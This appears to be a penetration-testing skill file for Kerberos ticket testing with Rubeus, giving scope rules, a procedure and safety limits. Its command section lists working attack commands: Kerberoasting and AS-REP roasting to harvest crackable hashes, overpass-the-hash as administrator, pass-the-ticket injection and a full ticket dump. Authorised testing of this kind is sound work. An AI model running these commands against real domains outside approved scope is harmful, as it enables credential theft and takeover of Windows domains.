timsonner Rubeus
Purpose
Use this skill for narrowly scoped Kerberos ticket inspection or validation when the rules of engagement explicitly allow ticket-focused testing.
Phase Fit
- Primary: Vulnerability Analysis, Validation and Controlled Impact Demonstration
- Secondary: Retest and Closure
Use When
- Need to review ticket posture, service tickets, or account exposure in Kerberos workflows.
- Need to validate whether a specific account condition creates material ticket risk.
- Need a repeatable retest after Kerberos hardening.
Avoid When
- Ticket collection or manipulation is not explicitly approved.
- Domain or account boundaries are unclear.
Inputs
- Approved domain and account or host scope
- Explicit ticket-handling approval boundaries
- Stop conditions and evidence rules
Procedure
- Keep the scope limited to the approved account or host context.
- Start with the least invasive ticket inspection that answers the question.
- Escalate to deeper ticket validation only when explicitly approved.
- Record only the minimum material proof needed.
- Preserve the exact scope and command path for retest.
Command Syntax
Replace sample users and domains with approved in-scope values.
:: List and triage Kerberos tickets in memory
Rubeus.exe triage
Rubeus.exe klist
:: Kerberoasting: request TGS hashes for offline cracking
Rubeus.exe kerberoast /outfile:C:\temp\tgs.txt
:: AS-REP Roasting: target pre-auth disabled accounts
Rubeus.exe asreproast /outfile:C:\temp\asrep.txt
:: Request TGT with password
Rubeus.exe asktgt /user:auditor /password:<password> /domain:contoso.com /dc:dc01.contoso.com
:: Overpass-the-Hash: request TGT from NT hash
Rubeus.exe asktgt /user:administrator /rc4:<NTLM_hash> /domain:contoso.com /ptt
:: Pass-the-Ticket: inject a ticket into the current session
Rubeus.exe ptt /ticket:<base64_ticket>
:: Dump all Kerberos tickets
Rubeus.exe dump /nowrap
Evidence to Capture
- Ticket or account conditions that materially change risk
- Exact domain, host, or account scope used
- Minimal proof path needed for remediation
Safety Boundaries
- Use only with explicit written approval.
- Protect all ticket material as sensitive evidence.